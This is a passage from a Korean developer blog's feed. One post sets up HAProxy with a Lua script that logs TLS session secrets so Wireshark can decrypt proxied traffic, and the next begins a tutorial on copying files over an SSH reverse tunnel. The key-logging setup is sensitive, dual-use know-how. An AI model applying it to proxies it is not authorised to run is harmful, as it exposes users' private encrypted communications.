-vv &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;출력 결과에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+LUA&lt;/code&gt;가 포함되어 있으면 OK.&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;/usr/sbin/haproxy &lt;span class=&quot;nt&quot;&gt;-vv&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;LUA&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;Feature list : +EPOLL -KQUEUE +NETFILTER +PCRE +PCRE_JIT -PCRE2 -PCRE2_JIT +POLL -PRIVATE_CACHE +THREAD -PTHREAD_PSHARED +BACKTRACE -STATIC_PCRE -STATIC_PCRE2 +TPROXY +LINUX_TPROXY +LINUX_SPLICE +LIBCRYPT +CRYPT_H +GETADDRINFO +OPENSSL +LUA +FUTEX +ACCEPT4 -CLOSEFROM +ZLIB -SLZ +CPU_AFFINITY +TFO +NS +DL +RT -DEVICEATLAS -51DEGREES -WURFL +SYSTEMD -OBSOLETE_LINKER +PRCTL +THREAD_DUMP -EVPORTS &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LUA&lt;/code&gt;가 포함되어 있으면 본 방법을 적용할 수 있다. &lt;br /&gt; 그렇지 않을 경우 LUA 옵션을 포함시켜 재컴파일을 진행해야 한다.&lt;/p&gt; &lt;h2 id=&quot;sslkeylog-루아-스크립트-다운로드&quot;&gt;sslkeylog 루아 스크립트 다운로드&lt;/h2&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;참조글 : &lt;a href=&quot;https://serverfault.com/questions/1151823/how-to-log-tls-session-keys-in-haproxy-ala-sslkeylogfile&quot;&gt;https://serverfault.com/questions/1151823/how-to-log-tls-session-keys-in-haproxy-ala-sslkeylogfile&lt;/a&gt;&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;스크립트 소스 : &lt;a href=&quot;https://github.com/haproxy/haproxy/blob/e1c8bfd0ed960d3b3dec39e78ad75bec117912d0/dev/sslkeylogger/sslkeylogger.lua&quot;&gt;https://github.com/haproxy/haproxy/blob/e1c8bfd0ed960d3b3dec39e78ad75bec117912d0/dev/sslkeylogger/sslkeylogger.lua&lt;/a&gt;&lt;/p&gt; &lt;/li&gt; &lt;/ul&gt; &lt;details&gt; &lt;summary&gt;소스 내용&lt;/summary&gt; &lt;div&gt; &lt;p&gt;소스 내용은 다음과 같다.&lt;/p&gt; &lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cm&quot;&gt;--[[ This script can be used to decipher SSL traffic coming through haproxy. It must first be loaded in the global section of haproxy configuration with TLS keys logging activated : tune.ssl.keylog on lua-load sslkeylogger.lua Then a http-request rule can be inserted for the desired frontend : http-request lua.sslkeylog &amp;lt;path_to_keylog_file&amp;gt; The generated keylog file can then be injected into wireshark to decipher a network capture. ]]&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sslkeylog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CLIENT_EARLY_TRAFFIC_SECRET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl_fc_client_early_traffic_secret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CLIENT_HANDSHAKE_TRAFFIC_SECRET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl_fc_client_handshake_traffic_secret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SERVER_HANDSHAKE_TRAFFIC_SECRET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl_fc_server_handshake_traffic_secret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CLIENT_TRAFFIC_SECRET_0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl_fc_client_traffic_secret_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SERVER_TRAFFIC_SECRET_0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl_fc_server_traffic_secret_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EXPORTER_SECRET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl_fc_exporter_secret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EARLY_EXPORTER_SECRET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl_fc_early_exporter_secret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client_random&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl_fc_client_random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- ensure that a key is written only once by using a session variable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;sess.sslkeylogdone&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;io.open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;a&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fieldname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fetch&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;string.format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;%s %s %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fieldname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client_random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Warning&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Cannot open SSL log file: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set_var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;sess.sslkeylogdone&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;register_action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;sslkeylog&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;http-req&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sslkeylog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/details&gt; &lt;p&gt;본 소스를 다운받아 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/haproxy/sslkeylogger.lua&lt;/code&gt; 경로에 위치시킨다.&lt;/p&gt; &lt;p&gt;그리고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/haproxy&lt;/code&gt;에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sslkeylog.log&lt;/code&gt; 빈 파일을 생성한다.&lt;/p&gt; &lt;h2 id=&quot;haproxy-설정-및-스크립트-적용&quot;&gt;HAProxy 설정 및 스크립트 적용&lt;/h2&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;touch /etc/haproxy/sslkeylog.log &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;HAProxy 설정 파일의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;global&lt;/code&gt; 섹션에 다음 내용을 추가한다.&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;global &lt;span class=&quot;c&quot;&gt;# ... 내용 생략 ...&lt;/span&gt; tune.ssl.keylog on lua-load /etc/haproxy/sslkeylogger.lua &lt;span class=&quot;c&quot;&gt;# ... 내용 생략 ...&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 HAProxy 설정 파일의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;frontend&lt;/code&gt; 섹션에 다음 내용을 추가한다.&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;frontend &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# ... 내용 생략 ...&lt;/span&gt; http-request use-service lua.sslkeylog /etc/haproxy/sslkeylog.log &lt;span class=&quot;c&quot;&gt;# ... 내용 생략 ...&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;config 파일이 맞는지 확인한다.&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;/usr/sbin/haproxy &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /etc/haproxy/haproxy.cfg &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 HAProxy를 재시작한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/haproxy/sslkeylog.log&lt;/code&gt; 파일에 SSL Key Log가 기록된다.&lt;/p&gt; &lt;p&gt;이후 해당 파일을 이용해 Wireshark에서 SSL Key Log를 적용하면 암호화된 패킷을 해독할 수 있다.&lt;/p&gt; </description><pubDate>Fri, 30 Aug 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/linux/haproxy-sslkeylog</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/linux/haproxy-sslkeylog</guid> <category>haproxy</category> <category>sslkeylog</category> <category>https</category> <category>http2</category> <category>tls</category> <category>ssl</category> <category>linux</category> </item> <item><title>SSH Reverse Tunnel을 통해 명령어 하나로 파일 전송하기</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;hr /&gt; &lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt; &lt;p&gt;간단한 파일 전송에는 주로 사용하는 도구가 있다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zmodem&lt;/code&gt; 이라는 것으로, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lrzsz&lt;/code&gt; 를 설치하여 이용할 수 있다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sz&lt;/code&gt;를 통해 원격지 파일을 로컬로 복사하거나, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rz&lt;/code&gt;를 통해 로컬 파일을 원격지로 가져올 수 있다.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://dev.iasdf.com/wiki/macos/iterm_lrzsz&quot;&gt;macos에서 lrzsz 설치하기&lt;/a&gt; 의 포스트를 보듯, sz, rz 명령어는 SSH 접속 이후 기타 서드파티 도구의 도움 없이 (SFTP 등) 터미널 내부에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sz&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rz&lt;/code&gt; 명령어를 사용하는 것만으로도 간단하게 파일 전송이 가능하다.&lt;/p&gt; &lt;p&gt;그러나, 이 방법은 매우 치명적인 단점이 있었는데, 터미널이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zmodem&lt;/code&gt; 기능을 지원해야만 적용할 수 있다는 것이다. 구현이 어려운 것인지, zmodem을 잘 지원하는 터미널이 많지 않다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iTerm&lt;/code&gt; 또한 Trigger 기능으로 확장을 통해 지원하는 형식으로, 정식 지원이 아니다.&lt;/p&gt; &lt;p&gt;단순히 파일 몇 개의 전송을 위해 터미널 창을 벗어나 SFTP 서드파티 도구를 이용하거나, 새로운 터미널을 여는 것은 상당히 번거로운 작업이다. 따라서 서드파티 도구 없이, SSH로 연결된 터미널에서 명령어 하나로, 원격지의 파일을 로컬로 빠르게 복사하는 방법이 있는지 계속 찾아보다가 결국… &lt;br /&gt; SSH Reverse Tunnel을 이용하면 역방향 SSH 연결이 가능하다는 점을 이용해 어느정도 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sz&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rz&lt;/code&gt; 명령어와 유사한 사용자 경험을 할 수 있는 명령어를 만들 수 있을 것 같다는 생각이 들었다.&lt;/p&gt; &lt;p&gt;최종적으로는&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;jcp &amp;lt;file1&amp;gt; &amp;lt;file2&amp;gt; &amp;lt;fil3&amp;gt; 또는 jcp &amp;lt;file1&amp;gt; &amp;lt;file2&amp;gt; &amp;lt;fil3&amp;gt; -- &amp;lt;local path&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;입력 시 원격지의 파일을 로컬로 복사하는 스크립트를 만들게 되었다.&lt;/p&gt; &lt;h1 id=&quot;방법&quot;&gt;방법&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;본 포스트는 MacOS를 기준으로 작성되었으며, Windows 및 Linux에서도 몇 가지의 방법만 다를 뿐(ssh 서버 설정 등), 대부분의 내용은 동일하게 적용될 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;ssh-server-설치-및-설정&quot;&gt;SSH Server 설치 및 설정&lt;/h3&gt; &lt;p&gt;역방향 SSH 터널을 만들기 위해서는 로컬에 SSH 서버가 실행 중이어야 한다.&lt;/p&gt; &lt;p&gt;MacOS의 경우 설정을 수정하여 SSH 서버를 실행시킬 수 있다. &lt;br /&gt; Windows의 경우 Windows용 OpenSSH 서버를 설치하거나, WSL을 이용해 SSH 서버를 실행시킬 수 있다.&lt;/p&gt; &lt;p&gt;서버 실행에 있어 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sshd_config&lt;/code&gt; 파일을 수정하였다. &lt;br /&gt; 외부 접근을 막기 위해, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AllowUsers&lt;/code&gt; 옵션으로 &lt;strong&gt;로컬 호스트&lt;/strong&gt; 로 접속하는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&lt;/code&gt; 만 접속을 허용하도록 설정하였다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext 